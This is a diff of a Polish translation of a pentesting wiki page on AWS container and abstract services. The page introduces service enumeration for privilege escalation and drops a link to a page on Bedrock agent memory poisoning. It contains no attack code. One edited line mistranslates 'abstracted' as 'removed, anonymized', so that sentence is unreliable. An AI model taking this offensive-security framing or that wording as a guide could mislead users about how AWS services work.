+- Jako użytkownik tych usług kontenerowych masz szereg obowiązków związanych z zarządzaniem i bezpieczeństwem, w tym **zarządzanie bezpieczeństwem dostępu sieciowego, takimi jak reguły sieciowych list kontrolnych dostępu i wszelkie zapory**.
+- Ponadto, zarządzanie tożsamością i dostępem na poziomie platformy tam, gdzie występuje.
+- **Przykłady** usług kontenerowych AWS to Relational Database Service, Elastic Mapreduce i Elastic Beanstalk.

 ### Usługi abstrakcyjne

- Te usługi są **oddzielone, abstrahowane, od warstwy platformy lub zarządzania, na której budowane są aplikacje chmurowe**.
- Do usług uzyskuje się dostęp za pośrednictwem endpointów wykorzystujących interfejsy programistyczne AWS, APIs.
- **Podstawowa infrastruktura, system operacyjny i platforma są zarządzane przez AWS**.
- Usługi abstrakcyjne zapewniają platformę multi-tenancy, na której infrastruktura podstawowa jest współdzielona.
+- Te usługi są **usuniete, zaanonimizowane, z warstwy platformy lub zarządzania, na której budowane są aplikacje chmurowe**.
+- Do usług uzyskuje się dostęp poprzez punkty końcowe przy użyciu AWS interfejsów programistycznych aplikacji (APIs).
+- **Podległa infrastruktura, system operacyjny i platforma są zarządzane przez AWS**.
+- Usługi abstrakcyjne zapewniają platformę multi-tenant, na której podległa infrastruktura jest współdzielona.
 - **Dane są izolowane za pomocą mechanizmów bezpieczeństwa**.
 - Usługi abstrakcyjne mają silną integrację z IAM, a **przykłady** usług abstrakcyjnych to S3, DynamoDB, Amazon Glacier i SQS.

 ## Enumeracja usług

-**Strony w tej sekcji są uporządkowane według usługi AWS. Znajdziesz tam informacje o usłudze (jak działa i jej możliwości), które pozwolą na eskalację uprawnień.**
+**Strony w tej sekcji są uporządkowane według usług AWS. Znajdziesz tam informacje o usłudze (jak ona działa i jej możliwości), które umożliwią eskalację uprawnień.**


-### Powiązane: Amazon Bedrock — bezpieczeństwo
-
-{{#ref}}
-aws-bedrock-agents-memory-poisoning.md
-{{#endref}}
-
 {{#include ../../../banners/hacktricks-training.md}}